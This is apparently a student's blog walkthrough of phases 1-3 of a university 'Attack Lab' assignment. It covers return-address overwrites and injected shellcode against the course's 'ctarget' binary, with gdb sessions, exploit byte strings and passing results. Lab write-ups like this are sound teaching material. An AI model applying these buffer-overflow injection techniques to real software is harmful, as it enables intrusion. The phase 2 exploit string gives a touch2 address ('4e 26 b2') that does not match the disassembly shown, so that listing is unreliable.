+ +

Attack Lab

+ +

Introduction

+ +

Lab 3 for CSCI 2400 @ CU Boulder - Computer Systems

+ +

+
This assignment involves generating a total of five attacks on two programs having different security vulnerabilities. The directions for this lab are detailed but not difficult to follow.
+

+ +

Again, I like using objdump to disassemble the code.

+ +

objdump -d ctarget > dis.txt

+ +

Phase 1

+ +

From the instructions, we know that our task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test

+ +

Let us try to look into the getbuf from our disassembled code.

+ +

0000000000402608 <getbuf>:
+  402608:   48 83 ec 18             sub    $0x18,%rsp
+  40260c:   48 89 e7                mov    %rsp,%rdi
+  40260f:   e8 95 02 00 00          call   4028a9 <Gets>
+  402614:   b8 01 00 00 00          mov    $0x1,%eax
+  402619:   48 83 c4 18             add    $0x18,%rsp
+  40261d:   c3  
+

+ +

402608: 48 83 ec 18             sub    $0x18,%rsp
+

+ +

We can see that 0x18 (hex) or 24 (decimal) bytes of buffer is allocated to getbuf (Since, 24 bytes are being subtracted from the stack pointer).

+ +

Now, since we know the buffer size we can try passing the address of the touch1 function.

+ +

jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1
+000000000040261e <touch1>:
+

+ +

We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)'
+little
+

+ +

We have our padding size and the function we need to call, we can write it in ctarget.l1.txt

+ +

00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00
+1e 26 40 00 00 00 00 00
+

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget 
+Cookie: 0x3e8dee8f
+Type string:Touch1!: You called touch1()
+Valid solution for level 1 with target ctarget
+PASS: Sent exploit string to server to be validated.
+NICE JOB!
+

+ +

Phase 2

+ +

+
Phase 2 involves injecting a small amount of code as part of your exploit string.
+

+ +

+
Within the file ctarget there is code for a function touch2 having the following C representation:
+

+ +

void touch2(unsigned val)
+{
+        vlevel = 2;
+        if (val == cookie) {
+            printf("Touch2!: You called touch2(0x%.8x)\n", val);
+            validate(2);
+        } else {
+            printf("Misfire: You called touch2(0x%.8x)\n", val);
+            fail(2);
+        }
+        exit(0);
+}
+

+ +

+
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, + however, you must make it appear to touch2 as if you have passed your cookie as its argument.
+

+ +

+
Recall that the first argument to a function is passed in register %rdi
+

+ +

This hint tells us that we need to store the cookie in the rdi register

+ +

movq $0x3e8dee8f,%rdi 
+retq
+

+ +

To get the byte representation, we need to compile the code and then disassemble it.

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o
+phase2.s: Assembler messages:
+phase2.s: Warning: end of file not at end of a line; newline inserted
+
+phase2.o:     file format elf64-x86-64
+
+
+Disassembly of section .text:
+
+0000000000000000 <.text>:
+   0:   48 c7 c7 8f ee 8d 3e    mov    $0x3e8dee8f,%rdi
+   7:   c3                      ret    
+

+ +

Thus, the byte representation for our asm code is 48 c7 c7 8f ee 8d 3e c3

+ +

We also need to figure out the address to the %rsp register. Again, looking at the getbuf code

+ +

0000000000402608 <getbuf>:
+  402608:   48 83 ec 18             sub    $0x18,%rsp
+  40260c:   48 89 e7                mov    %rsp,%rdi
+  40260f:   e8 95 02 00 00          call   4028a9 <Gets>
+  402614:   b8 01 00 00 00          mov    $0x1,%eax
+  402619:   48 83 c4 18             add    $0x18,%rsp
+  40261d:   c3                      ret
+

+ +

We need to find the address of %rsp after calling <Gets> and sending a really long string.

+ +

What we are going to do now is to add a break on getbuf, and run the program just after it asks us to enter a string and then find the address of %rsp

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget
+GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
+Copyright (C) 2022 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.
+Type "show copying" and "show warranty" for details.
+This GDB was configured as "x86_64-linux-gnu".
+Type "show configuration" for configuration details.
+For bug reporting instructions, please see:
+<https://www.gnu.org/software/gdb/bugs/>.
+Find the GDB manual and other documentation resources online at:
+    <http://www.gnu.org/software/gdb/documentation/>.
+
+For help, type "help".
+Type "apropos word" to search for commands related to "word"...
+Reading symbols from ./ctarget...
+(gdb) b getbuf
+Breakpoint 1 at 0x402608: file buf.c, line 12.
+(gdb) run
+Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget 
+Cookie: 0x3e8dee8f
+
+Breakpoint 1, getbuf () at buf.c:12
+12      buf.c: No such file or directory.
+(gdb) disas
+Dump of assembler code for function getbuf:
+=> 0x0000000000402608 <+0>:     sub    $0x18,%rsp
+   0x000000000040260c <+4>:     mov    %rsp,%rdi
+   0x000000000040260f <+7>:     call   0x4028a9 <Gets>
+   0x0000000000402614 <+12>:    mov    $0x1,%eax
+   0x0000000000402619 <+17>:    add    $0x18,%rsp
+   0x000000000040261d <+21>:    ret    
+End of assembler dump.
+(gdb) until *0x402614
+Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe
+getbuf () at buf.c:15
+15      in buf.c
+(gdb) x/s $rsp
+0x55621b40:     "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe"
+(gdb)
+

+ +

So, the address for %rsp is 0x55621b40

+ +

Thus, we can set our ctarget.l2.txt as:

+ +

byte representation of ASM code
+padding
+address of %rsp
+address of touch2 function
+

+ +

To get the address of touch2 we can run:

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2
+000000000040264e <touch2>:
+  402666:       74 2a                   je     402692 <touch2+0x44>
+  4026b2:       eb d4                   jmp    402688 <touch2+0x3a>
+

+ +

48 c7 c7 8f ee 8d 3e c3
+00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00
+40 1b 62 55 00 00 00 00
+4e 26 b2 00 00 00 00 00
+

+ +

Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes,

+ +

joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget 
+Cookie: 0x3e8dee8f
+Type string:Touch2!: You called touch2(0x3e8dee8f)
+Valid solution for level 2 with target ctarget
+PASS: Sent exploit string to server to be validated.
+NICE JOB!
+

+ +

Phase 3

+ +

+
Phase 3 also involves a code injection attack, but passing a string as argument.
+

+ +

+
You will need to include a string representation of your cookie in your exploit string. The string should + consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”
+

+ +

+
Your injected code should set register %rdi to the address of this string
+

+ +

+
When functions hexmatch and strncmp are called, they push data onto the stack, overwriting + portions of memory that held the buffer used by getbuf. As a result, you will need to be careful + where you place the string representation of your cookie.
+

+ +

Because hexmatch and strncmp might overwrite the buffer allocated for getbuf we will try to store the data after the function touch3 itself.

+ +

=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)

+ +

We can use our address for %rsp from phase 2, and simply add 0x28 to it.

+ +

=> 0x55621b40 + 0x28 = 0x55621B68

+ +

Again, let us get the binary representation for the ASM code:

+ +

movq $0x55621B68, %rdi
+retq
+

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o
+phase3.s: Assembler messages:
+phase3.s: Warning: end of file not at end of a line; newline inserted
+
+phase3.o:     file format elf64-x86-64
+
+
+Disassembly of section .text:
+
+0000000000000000 <.text>:
+   0:   48 c7 c7 68 1b 62 55    mov    $0x55621b68,%rdi
+   7:   c3                      ret
+

+ +

Thus, our answer is going to be in the form:

+ +

asm code
+padding
+return address / %rsp
+touch3 address
+cookie string
+

+ +

To quickly get the address for touch3

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3
+0000000000402763 <touch3>:
+  402781:       74 2d                   je     4027b0 <touch3+0x4d>
+  4027d3:       eb d1                   jmp    4027a6 <touch3+0x43>
+

+ +

We need to use an ASCII to Hex converter to convert the cookie string into hex.

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p
+3365386465653866
+

+ +

Thus, our cookie string representation is 33 65 38 64 65 65 38 66

+ +

48 c7 c7 68 1B 62 55 c3
+00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00
+40 1b 62 55 00 00 00 00
+63 27 40 00 00 00 00 00
+33 65 38 64 65 65 38 66
+

+ +

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget 
+Cookie: 0x3e8dee8f
+Type string:Touch3!: You called touch3("3e8dee8f")
+Valid solution for level 3 with target ctarget
+PASS: Sent exploit string to server to be validated.
+NICE JOB!
+

+ +

Phases 1-3 Complete.

+ +

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+ +

Introduction

Phase 1

Phase 2

Phase 3

Recent Posts

Attack Lab

Introduction

Phase 1

Phase 2

Phase 3